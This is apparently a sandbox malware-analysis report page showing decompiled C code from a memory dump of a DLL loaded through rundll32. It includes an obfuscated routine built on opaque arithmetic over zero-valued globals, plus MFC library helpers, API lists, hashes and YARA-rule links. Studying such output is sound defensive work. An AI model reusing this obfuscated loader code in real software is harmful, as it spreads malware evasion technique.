										_t227 = malloc((( *(_t575 + 0x2c) * _t339 - _t351) * 4 - 8) * _t351 + ((2 - _t488) * _t213 +  *(_t558 + 0x18) * 2 - _t515 +  *(_t575 + 0x3c) +  *0x6eb8a9bc) * 4);
										_t479 =  *0x6eb8a9c0; // 0x0
										_t353 =  *0x6eb8a9cc; // 0x0
										_t520 =  *0x6eb8a9d0; // 0x0
										_t358 =  *0x6eb8a9c8; // 0x0
										_t576 = _t575 + 4;
										_t229 = _t227 + ((((_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc + (_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc * 2) * 8 - 0x18) *  *0x6eb8a9c4 + (_t358 * _t479 * _t520 + 1 + (_t358 * _t479 * _t520 + 1) * 2) * 8) * _t520 + (0x18 - _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2) *  *0x6eb8a9cc;
										 *((intOrPtr*)( *((intOrPtr*)(_t576 + 0x14)) + 0x30)) = _t229;
										if(_t229 == 0) {
											goto L18;
										} else {
											_t370 =  *0x6eb8a9bc; // 0x0
											_t371 = _t370 + _t370 * 2;
											 *((intOrPtr*)(_t576 + 0x34)) = _t371;
											_t376 = ((_t371 + 3) * _t479 * _t520 + 6) * _t520;
											_t521 =  *0x6eb8a9c8; // 0x0
											_t522 = _t521 + _t521 * 2;
											 *((intOrPtr*)(_t576 + 0x1c)) = 0;
											 *((intOrPtr*)(_t576 + 0x38)) = _t522;
											if( *(_t558 + 0x18) - _t522 != _t376) {
												_t525 =  *0x6eb8a9c8; // 0x0
												_t530 =  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479) +  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479);
												 *((intOrPtr*)(_t576 + 0x3c)) = _t530;
												while(1) {
													_t508 =  *0x6eb8a9c4; // 0x0
													 *((intOrPtr*)(_t576 + 0x1c)) =  *((intOrPtr*)(_t576 + 0x1c)) + 1;
													_t531 =  *((intOrPtr*)(_t576 + 0x28));
													 *_t229 = _t530 + _t508 * 2 +  *((intOrPtr*)(_t576 + 0x18)) +  *_t531;
													 *((intOrPtr*)(_t576 + 0x28)) = _t531 + 4;
													 *((short*)(_t229 + 4)) =  *_t309;
													_t309 = _t309 + 2;
													_t229 = _t229 + 8;
													if( *((intOrPtr*)(_t576 + 0x1c)) >=  *(_t558 + 0x18) -  *((intOrPtr*)(_t576 + 0x38)) - _t376) {
														goto L13;
													}
													_t530 =  *((intOrPtr*)(_t576 + 0x3c));
												}
											}
											L13:
											_t523 =  *0x6eb8a9cc; // 0x0
											_t379 =  *0x6eb8a9c4; // 0x0
											_t380 =  *0x6eb8a9bc; // 0x0
											_t171 = _t479 * 2; // -6
											_t242 =  *0x6eb8a9c8; // 0x0
											_t176 = _t380 + 3; // 0x3
											_t524 =  *0x6eb8a9d0; // 0x0
											qsort( *( *((intOrPtr*)(_t576 + 0x1c)) + 0x30),  ~(_t524 * _t524) +  ~(_t524 * _t524) - _t176 * _t523 + _t176 * _t523 - _t242 - _t242 - _t479 - _t479 +  *(_t558 + 0x18) + _t380 + _t380, (3 - _t479 * _t479 - _t379) * _t379 + _t479 + 6 + (_t380 * _t380 - _t523 + (_t380 * _t380 - _t523) * 2 - 9) *  *0x6eb8a9d0 + (_t479 + _t171 - 6) * _t523 + (3 -  *((intOrPtr*)(_t576 + 0x34))) * _t242 + 8, E6EB44D60);
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											_t575 = _t576 + 0x10;
											goto L14;
										}
									}
								}
							} else {
								 *(_t575 + 0x2c) =  *(_t575 + 0x30) & 0x0000ffff;
								_t66 = _t410 + 1; // 0x1
								_t558 =  *((intOrPtr*)(_t575 + 0x10));
								_t486 =  *(_t575 + 0x2c);
								if(_t486 < ((_t410 * _t488 + _t410 * _t488 - 2) * _t515 + _t410 + _t213 * _t339 * _t339 * 2 + _t410 + _t488 + _t488) *  *0x6eb8a9c8 + (_t66 * _t339 - _t515 * _t515 + _t213 + _t213) * 2 - _t488 + _t488 * 2 + _t488 + _t488 * 2 +  *((intOrPtr*)(_t558 + 0x10))) {
									goto L18;
								} else {
									_t442 = _t486 -  *((intOrPtr*)(_t558 + 0x10));
									L16:
									if(_t442 >  *((intOrPtr*)(_t558 + 0x14))) {
										goto L18;
									} else {
										return  *((intOrPtr*)((_t339 + _t213) * _t213 + (_t442 + _t442 -  *0x6eb8a9c8 - _t488) * 2 +  *((intOrPtr*)(_t558 + 0x1c)) - _t515 +  *((intOrPtr*)(_t575 + 0x18)))) +  *((intOrPtr*)(_t575 + 0x18));
									}
								}
							}
						}
					}
				}
			}

0x6eb44e83
0x6eb44e88
0x6eb44e8f
0x6eb44e95
0x6eb44e9c
0x6eb44ea4
0x6eb44ea9
0x6eb44eb1
0x6eb44eb4
0x6eb44ec0
0x6eb44ecc
0x6eb44ed4
0x6eb44edd
0x6eb44efd
0x6eb44f01
0x6eb44f0d
0x6eb44f11
0x6eb45474
0x6eb4547d
0x6eb44f17
0x6eb44f23
0x6eb44f8d
0x6eb44f93
0x6eb44f9c
0x6eb44fa5
0x6eb44fac
0x6eb44fc9
0x6eb44fcd
0x6eb44fd3
0x6eb44fd7
0x6eb44fdf
0x00000000
0x6eb44fe5
0x6eb44fe5
0x6eb44ff0
0x6eb44ff2
0x6eb45014
0x6eb4501b
0x00000000
0x6eb45021
0x6eb4502b
0x6eb4509f
0x6eb450b9
0x00000000
0x6eb450bf
0x6eb450c7
0x6eb45391
0x6eb453b2
0x6eb453bb
0x6eb4541f
0x6eb45425
0x6eb4542a
0x00000000
0x6eb4542c
0x6eb4542c
0x6eb45430
0x6eb45436
0x6eb4543c
0x6eb45441
0x00000000
0x6eb45441
0x6eb450cd
0x6eb450f0
0x6eb45110
0x6eb45114
0x6eb45126
0x6eb4516a
0x6eb45194
0x6eb4519a
0x6eb451ba
0x6eb451c0
0x6eb451c6
0x6eb451e5
0x6eb451f5
0x6eb45208
0x6eb45232
0x6eb45234
0x6eb45237
0x00000000
0x6eb4523d
0x6eb4523d
0x6eb45243
0x6eb45246
0x6eb45259
0x6eb4525c
0x6eb45262
0x6eb45269
0x6eb45271
0x6eb45275
0x6eb45277
0x6eb4528e
0x6eb45290
0x6eb452a4
0x6eb452a4
0x6eb452aa
0x6eb452b5
0x6eb452be
0x6eb452c3
0x6eb452c7
0x6eb452d2
0x6eb452d7
0x6eb452de
0x00000000
0x00000000
0x6eb452a0
0x6eb452a0
0x6eb452a4
0x6eb452e0
0x6eb452e5
0x6eb452f2
0x6eb452fd
0x6eb4531c
0x6eb45325
0x6eb45340
0x6eb45346
0x6eb45371
0x6eb45377
0x6eb4537d
0x6eb45383
0x6eb45388
0x6eb4538e
0x00000000
0x6eb4538e
0x6eb45237
0x6eb450c7
0x6eb4502d
0x6eb45032
0x6eb45051
0x6eb45071
0x6eb4507f
0x6eb45085
0x00000000
0x6eb4508b
0x6eb4508b
0x6eb45447
0x6eb4544a
0x00000000
0x6eb4544c
0x6eb45473
0x6eb45473
0x6eb4544a
0x6eb45085
0x6eb4502b
0x6eb4501b
0x6eb44fdf

APIs

malloc.MSVCRT ref: 6EB451BA

Strings

DllRegisterServer, xrefs: 6EB44F01, 6EB45021

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: malloc
String ID: DllRegisterServer
API String ID: 2803490479-1663957109
Opcode ID: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction ID: f1f9cb8d05124fc973cf6d79199b8882de84e7732913cb9b6e2ca9af0edff554
Opcode Fuzzy Hash: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction Fuzzy Hash: D512B6326457068FCB08CF5CC9C1596BBA6FBDA304F0A862ED5418B3E9E774A519CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D8BD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4D8BD(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E6EB5428B(0xc);
				_push(0x6eb4cd26);
				_t26 = E6EB55601(__ebx, 0x6eb8c6a8, __edi, _t25, _t27);
				_t28 = _t26;
				if(_t26 == 0) {
					E6EB48BA4(__ebx, 0x6eb8c6a8, __edi, _t26, _t28);
				}
				_t29 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E6EB542FD(0xc);
					return  *(_t26 + 8)(_a4, _a8, _a12, _a16);
				} else {
					_push("hhctrl.ocx");
					_t16 = E6EB4B2BD(_t21, 0x6eb8c6a8, _t24, _t26, _t29);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						 *(_t26 + 8) = _t17;
						__eflags = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

APIs

Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
Part of subcall function 6EB5428B: InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
Part of subcall function 6EB5428B: LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB55601: __EH_prolog3_catch.LIBCMT ref: 6EB55608

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 6EB4D906
FreeLibrary.KERNEL32(?), ref: 6EB4D916

Strings

hhctrl.ocx, xrefs: 6EB4D8EA
HtmlHelpA, xrefs: 6EB4D900

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction ID: 69c71a3700b04db9d0f767dc14ceff33cb527626f1e04bd8a3788a3a834343ad
Opcode Fuzzy Hash: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction Fuzzy Hash: DB01A231024786FBCB521FE5EC04A8E3FA8EF44355F008C29F41ADAA14DB31C460AF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6FA52 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E6EB6FA52() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x6eb7cf70;
					_v28 =  *0x6eb7cf68;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,6EB676DB), ref: 6EB6FA57
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 6EB6FA67

Strings

IsProcessorFeaturePresent, xrefs: 6EB6FA61
KERNEL32, xrefs: 6EB6FA52

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction ID: e650e79de8f87964b4eb0fa205aad03de76ba2e2416f8a386b579ccb675da1dc
Opcode Fuzzy Hash: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction Fuzzy Hash: B3F06D20A0495AD2DF006FF1AC0976E7F78FB82742F920184D1E2B4584CE308074C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55BB6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E6EB55BB6(intOrPtr _a4) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t6;
				struct HINSTANCE__* _t9;
				intOrPtr _t11;
				intOrPtr _t15;
				CHAR* _t16;
				CHAR* _t17;
				signed int _t18;

				_t6 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t6 ^ _t18;
				_t11 = _a4;
				_t17 = "mfcm90.dll";
				_t16 =  &_v20;
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t9 = GetModuleHandleA( &_v20);
				if(_t9 != 0) {
					_t9 = GetProcAddress(_t9, "AfxmReleaseManagedReferences");
					if(_t9 != 0) {
						_t9 = _t9->i(_t11);
					}
				}
				return E6EB63DE0(_t9, _t11, _v8 ^ _t18, _t15, _t16, _t17);
			}

0x6eb55bbe
0x6eb55bc5
0x6eb55bc9
0x6eb55bce
0x6eb55bd3
0x6eb55bd6
0x6eb55bd7
0x6eb55bd8
0x6eb55bde
0x6eb55bdf
0x6eb55be7
0x6eb55bef
0x6eb55bf7
0x6eb55bfa
0x6eb55bfc
0x6eb55bf7
0x6eb55c0b

APIs

GetModuleHandleA.KERNEL32(?), ref: 6EB55BDF
GetProcAddress.KERNEL32(00000000,AfxmReleaseManagedReferences), ref: 6EB55BEF

Strings

AfxmReleaseManagedReferences, xrefs: 6EB55BE9
mfcm90.dll, xrefs: 6EB55BCE

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AfxmReleaseManagedReferences$mfcm90.dll
API String ID: 1646373207-1752160237
Opcode ID: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction ID: 5ed6283614b1674415d37703b4ebc3d95dfddbedb04c0828afb4b45d4a7b8a18
Opcode Fuzzy Hash: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction Fuzzy Hash: 8FF0827160525DAB9F00EEAA8C88CEFBFADEF952557400829E416E7640DE70D505C760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5DCE7 Relevance: 6.2, APIs: 4, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6EB5DCE7(intOrPtr* __ecx, void* __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				intOrPtr* _v24;
				struct tagRECT _v40;
				struct tagRECT _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t61;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr* _t90;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;
				intOrPtr* _t138;
				intOrPtr* _t139;
				intOrPtr* _t141;
				void* _t142;

				_t133 = __edx;
				_t116 = __ecx;
				_t141 = __ecx;
				_t59 =  *((intOrPtr*)(__ecx + 4));
				_t143 = _t59;
				if(_t59 == 0) {
					L1:
					_t59 = E6EB48BA4(0, _t116, _t136, _t141, _t143);
				}
				_t60 =  *((intOrPtr*)(_t59 + 0x28));
				if(_t60 == 0) {
					goto L1;
				}
				_t116 = _t60;
				_t61 = E6EB4DAA2(0, _t60, _t136);
				_v8 = _t61;
				if(_t61 == 0) {
					goto L1;
				}
				_t62 = IsWindowVisible( *(_t61 + 0x20));
				asm("sbb eax, eax");
				_t64 =  ~_t62 + 1;
				_v24 = _t64;
				if(_t64 != 0) {
					GetWindowRect( *(E6EB4C72D(0, _t116, GetDesktopWindow()) + 0x20),  &_v56);
					GetWindowRect( *(_v8 + 0x20),  &_v40);
					asm("cdq");
					asm("cdq");
					E6EB4F68B(_v8, _v56.right - _v56.left - _t133 >> 1, _v56.bottom - _v56.top - _t133 >> 1, 0, 0, 0);
					E6EB4F6CB(_v8, 1);
				}
				_t66 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t137 = _t141 + 0x48;
				_push(_t137);
				_push(0x6eb7b6e8);
				_push(_t66);
				if( *((intOrPtr*)( *_t66))() >= 0) {
					_t90 =  *_t137;
					_t139 = _t141 + 0x4c;
					_v12 =  *((intOrPtr*)( *_t90 + 0xc))(_t90, 0, 0x6eb7e3a4, _t139);
					if( *_t139 == 0) {
						_v12 = 0x80004003;
					}
					if(_v12 >= 0) {
						L18:
						_t142 = E6EB5D245(0, _t141, _t139, _t141, __eflags);
						__eflags = _v24;
						if(_v24 != 0) {
							__eflags = _v40.right - _v40.left;
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _t142;
					} else {
						if(_v24 != 0) {
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _v12;
					}
				}
				_t69 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t70 =  *((intOrPtr*)( *_t69))(_t69, 0x6eb7b740,  &_v16);
				__eflags = _t70;
				if(_t70 >= 0) {
					_t71 = _v16;
					 *((intOrPtr*)( *_t71 + 0x14))(_t71,  &_v20);
					_t73 = _v16;
					 *((intOrPtr*)( *_t73 + 8))(_t73);
					_t75 = _v20;
					__eflags = _t75;
					if(_t75 == 0) {
						return 0x80004005;
					}
					_t138 = _t141 + 8;
					_v12 =  *((intOrPtr*)( *_t75))(_t75, 0x6eb7e114, _t138);
					_t77 = _v20;
					 *((intOrPtr*)( *_t77 + 8))(_t77);
					_t70 = _v12;
					__eflags = _t70;
					if(__eflags >= 0) {
						_t139 =  *_t138;
						 *((intOrPtr*)( *_t139))(_t139, 0x6eb7e124, _t141 + 0xc);
						goto L18;
					}
				}
				return _t70;
			}

APIs

IsWindowVisible.USER32 ref: 6EB5DD1A
GetDesktopWindow.USER32 ref: 6EB5DD2A
GetWindowRect.USER32 ref: 6EB5DD43
GetWindowRect.USER32 ref: 6EB5DD4F

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Rect$DesktopException@8H_prolog3ThrowVisible
String ID:
API String ID: 584671360-0
Opcode ID: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction ID: 2fc09a58878601db2ba8365696b77616ccdfd726c7e2c7ac46812d05e9cddb25
Opcode Fuzzy Hash: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction Fuzzy Hash: 2051D7B5A1054AEFDF00DFE8D984CAEBBB9EF49204B204959E516EB264C730AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45480 Relevance: 6.2, APIs: 4, Instructions: 161
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E6EB45480(void* __esi) {
				long _v4;
				void* _t63;
				signed int _t64;
				signed int _t80;
				signed int _t81;
				signed int _t100;
				intOrPtr _t106;
				signed int _t109;
				signed int _t110;
				signed int _t112;
				signed int _t113;
				intOrPtr _t117;
				intOrPtr _t119;
				signed int _t121;
				signed int _t139;
				intOrPtr _t153;
				void* _t165;
				signed int _t179;
				signed int _t182;
				void* _t184;
				void* _t185;

				_t165 = __esi;
				if(__esi != 0) {
					if( *((intOrPtr*)(__esi + 0x10)) != 0) {
						_t100 =  *0x6eb8a9c0; // 0x0
						_t117 =  *((intOrPtr*)(__esi + 4));
						_push(0);
						_push(0);
						_push(_t117);
						 *((intOrPtr*)( *((intOrPtr*)( *__esi + 0x28)) + ((1 - _t100 *  *0x6eb8a9c4 -  *0x6eb8a9d0) *  *0x6eb8a9c8 - _t100 *  *0x6eb8a9c4) * 4 + _t117))();
					}
					_t64 =  *0x6eb8a9cc; // 0x0
					 *0x6eb8d530( *((intOrPtr*)(_t165 + 0x30)) + (_t64 -  *0x6eb8a9bc +  *0x6eb8a9c8) * 8);
					_t185 = _t184 + 4;
					if( *((intOrPtr*)(_t165 + 8)) == 0) {
						L9:
						_t119 =  *((intOrPtr*)(_t165 + 4));
						if(_t119 != 0) {
							_t109 =  *0x6eb8a9bc; // 0x0
							_t56 = _t109 + 1; // 0x1
							_t110 =  *0x6eb8a9c4; // 0x0
							 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x20))))(_t119, 0, (_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110 + 0x8000 + ((_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110) * 2,  *((intOrPtr*)(_t165 + 0x34)));
						}
						return HeapFree(GetProcessHeap(), 0, _t165);
					} else {
						_t112 =  *0x6eb8a9c0; // 0x0
						_t121 =  *0x6eb8a9c4; // 0x0
						_t10 = _t112 + 1; // 0x1
						_t106 =  *0x6eb8a9d0; // 0x0
						_t80 =  *0x6eb8a9bc; // 0x0
						_t12 = _t112 + 1; // 0x1
						_t139 =  *0x6eb8a9cc; // 0x0
						_v4 = 0;
						if( *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112 + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112) * 2) * 2 <= 0) {
							L8:
							_t81 =  *0x6eb8a9c8; // 0x0
							_t113 =  *0x6eb8a9cc; // 0x0
							 *0x6eb8d530( *((intOrPtr*)(_t165 + 8)) + ((_t81 * _t112 * _t121 + 2) * _t121 - _t113 * _t113) * 8);
							_t185 = _t185 + 4;
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 = _t121 + 1; // 0x1
							_t80 =  *0x6eb8a9bc; // 0x0
							_t153 =  *((intOrPtr*)(_t165 + 8));
							if( *((intOrPtr*)(_t153 + (_v4 + ((_t80 - _t121 - 1) * _t112 + (_t106 + _t23) *  *0x6eb8a9cc + (_t121 - _t106) * 2 -  *0x6eb8a9c8 + _t80) * 2) * 4)) != 0) {
								_t182 =  *0x6eb8a9c8; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x2c))))( *((intOrPtr*)(_t153 + (_v4 + ((_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4 + (_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4)),  *((intOrPtr*)(_t165 + 0x34)));
								_t121 =  *0x6eb8a9c4; // 0x0
								_t112 =  *0x6eb8a9c0; // 0x0
								_t106 =  *0x6eb8a9d0; // 0x0
								_t80 =  *0x6eb8a9bc; // 0x0
								_t185 = _t185 + 8;
							}
							_t38 = _t112 + 1; // 0x1
							_v4 = _v4 + 1;
							_t42 = _t112 + 1; // 0x1
							_t179 =  *0x6eb8a9cc; // 0x0
						} while (_v4 <  *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112 + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112) * 2) * 2);
						goto L8;
					}
				}
				return _t63;
			}

APIs

??3@YAXPAX@Z.MSVCRT ref: 6EB454DD
??3@YAXPAX@Z.MSVCRT ref: 6EB45640
GetProcessHeap.KERNEL32(00000000,00000000,6EB44C5E), ref: 6EB45696
HeapFree.KERNEL32(00000000), ref: 6EB4569D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
